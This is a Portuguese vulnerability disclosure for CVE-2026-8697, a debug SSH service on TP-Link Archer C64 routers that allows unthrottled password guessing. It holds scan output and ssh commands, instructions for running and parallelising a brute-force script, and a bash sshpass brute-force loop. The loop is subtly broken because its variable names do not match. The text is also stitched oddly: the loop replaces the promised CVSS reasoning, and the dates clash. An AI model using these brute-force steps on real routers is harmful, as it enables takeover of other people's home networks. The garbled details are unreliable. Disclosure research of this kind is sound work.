
Descri detalhada do CVE-2026-8697 com exploit POC para um bypass no limite de taxa de login nos roteadores TP-Link Archer C64 através de um serviço SSH de depuração, permitindo ataques de senha por força bruta não autenticados.
CVE-2026-8697 é uma falha lógica no sistema operacional do TP-Link Archer C64 (chamado TPOS na mensagem de depuração). Ele permite que qualquer usuário não privilegiado conectado ao roteador contorne o limite de taxa da interface web usando um serviço SSH residual. Um simples script Python pode ser usado para testar muitas senhas em pouco tempo e obter acesso total de administrador no roteador.
POC: poc.py
O roteador possui um serviço SSH de depuração que não concede um shell ao roteador; na verdade, ele apenas encerra a conexão quando a senha correta é inserida. Mas ele usa a mesma senha da interface de administrador e não possui limites de taxa nem políticas de bloqueio. Dessa forma, pode ser usado como um oráculo de autenticação de alta velocidade para realizar ataques de força bruta na senha. Essa vulnerabilidade pode ser usada por dispositivos IoT maliciosos ou comprometidos na rede para obter acesso total de administrador ao roteador. Um invasor não consegue obter acesso ao shell por meio dessa interface, mas pode verificar facilmente as credenciais para comprometer a interface de gerenciamento web principal.
Essa vulnerabilidade foi corrigida na versão de firmware 1.15.0, que simplesmente remove o serviço. Para testar seu roteador, use este comando (Linux/macOS):
timeout 10 nc -vz 192.168.0.1 22
echo $?
Substitua o endereço IP pelo endereço que você usa para se conectar à interface web do roteador. Se a saída for 0 ou mostrar succeeded!, então seu roteador está vulnerável. Caso contrário, não está.
No Windows, execute o seguinte no PowerShell:
tnc 192.168.0.1 -Port 22
Se exibir TcpTestSucceeded : True, então seu roteador está vulnerável. Caso contrário, se ficar pendente indefinidamente ou mostrar False, então não está vulnerável.
O bug é inteiramente baseado em lógica e não requer corrupção de memória, desvio de ASLR ou vitória em condições de corrida.
Na época, eu estava aprendendo Nmap e, por diversão, decidi escanear meu roteador. Naquele momento, não estava procurando vulnerabilidades, mas notei um serviço SSH aberto.
$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey:
|_ 1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp open tcpwrapped
80/tcp open http TP-LINK router http config
|_http-title: Opening...
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after: 2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
O log acima mostra um serviço SSH executando OpenSSH 6.6.0 (uma versão legada de 2014, mas a versão não importa para isso). Vendo a versão muito antiga, suspeitei que pudesse ser usada por um invasor e tentei fazer SSH com a intenção de obter um shell e atualizar o firmware. Naquele ponto, eu estava tentando proteger meu roteador, não encontrar vulnerabilidades. No entanto, conectar-se apresentou um problema interessante: a chave do host e os algoritmos de chave pública não eram suportados na minha versão do OpenSSH. Usar -o também não funcionou no meu sistema, então tive que usar um contêiner debian:bullseye-slim que possui um cliente OpenSSH suportando os algoritmos diffie-hellman-group14-sha1 e ssh-dss.
Dentro do contêiner, após instalar o cliente OpenSSH, consegui me conectar ao servidor SSH.
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=+ssh-dss [email protected]
Usei isso e finalmente consegui me conectar ao servidor SSH, que me saudou com a mensagem TPOS 5 IPSSH Test e um prompt de senha. No entanto, após inserir a senha, a conexão simplesmente fechou imediatamente. Tentei até mesmo executar um comando diretamente, mas não executou. Percebi que não havia shell, então um invasor não conseguiria acessar meu roteador. Então meu roteador está seguro, certo? Bem, na verdade não. Percebi que, embora você não obtenha nenhum acesso, você descobre se sua senha estava correta ou não. E essa senha era a mesma da interface web, e não havia absolutamente nenhum limite de taxa ou qualquer coisa para impedir um ataque de força bruta. Foi quando me veio a ideia de transformar isso em um CVE. Tentei automatizar o ataque. Primeiro, tentei usar sshpass em um loop bash, mas não era possível usar múltiplas senhas por conexão, então tentei fazer um script Python. Esse é o POC anexado.
Para usar o POC, primeiro crie um venv e instale pexpect. Observe que o script não usa o módulo pxssh do Pexpect, pois ele não suporta testar múltiplas senhas em uma única conexão.
python3 -m venv venv
source venv/bin/activate
pip install pexpect
Salve o script como poc.py e execute-o. Opcionalmente, você pode passar o caminho para uma lista de senhas separadas por nova linha como primeiro argumento. Se não fizer isso, ele usará os números de 1 a 100 como senhas (para teste de velocidade).
python3 poc.py list.txt
Você pode paralelizar o ataque executando várias instâncias com listas diferentes. Se executar mais de 3 instâncias, começará a ver erros de conexão. O script ainda garante que todas as senhas sejam testadas.
python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &
Um invasor pode usar um dispositivo IoT malicioso ou comprometido na rede para fazer força bruta na senha e obter acesso de administrador à interface de administração. Não há indicação para o usuário de que isso está acontecendo, e o invasor pode fazer isso por um longo tempo sem ser detectado. Depois que o invasor tiver acesso à interface de administração, ele pode alterar as configurações de DNS para realizar sequestro de DNS, alterar a senha do Wi-Fi para bloquear usuários, usar roteamento estático para interceptar tráfego não criptografado ou bloquear o acesso à rede roteando para um IP inexistente, encaminhar portas, desligar o firewall/ALG e muito mais.
O vetor de ataque CVSS 4.0 para esta vulnerabilidade é:
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H
, que resulta em uma pontuação de 9.3 Crítico. Meu raciocínio para cada métrica é o seguinte:
while read pass;do
sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 [email protected]
if [ $? -eq 0 ]; then
echo "Password found: $PASS"
break
fi
done < list.txt
(observe que isso é mais lento que o script POC, pois não tenta múltiplas senhas por conexão)
AV:A.O fornecedor (TP-Link) publicou esta vulnerabilidade com uma pontuação de 8.7 (Alta)
com o vetor:
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
No entanto, esta pesquisa argumenta que o Impacto no Sistema Subsequente não deve ser classificado como "Nenhum". Porque o roteador atua como o gateway principal para todos os dispositivos conectados:
Portanto, uma representação mais precisa do risco para a rede doméstica é 9.3/Crítico conforme discutido acima.
Atualizar o firmware do roteador para 1.15.0 Build 250729 ou posterior corrigirá isso.
Esta vulnerabilidade foi descoberta e relatada por Tanjim Kamal.
| Data | Evento |
|---|
| 2026-02-26 | Vulnerabilidade relatada à Equipe de Segurança de Produto da TP-Link |
| 2026-03-03 | Confirmação inicial recebida |
| 2026-03-14 | TP-Link confirma que está na fase de verificação e correção |
| 2026-04-22 | TP-Link informa que a vulnerabilidade foi corrigida na versão de firmware 1.15.0, mas o firmware ainda não está disponível publicamente |
| 2026-04-24 | Firmware disponibilizado publicamente |
| 2026-04-26 | Correção confirmada e ID CVE solicitado |
| 2026-05-15 | Lembrete de prazo de 90 dias enviado à TP-Link |
| 2026-05-15 | ID CVE reservado |
| 2026-05-29 | Divulgação pública |
| 2026-05-29 | Artigo publicado (este documento) |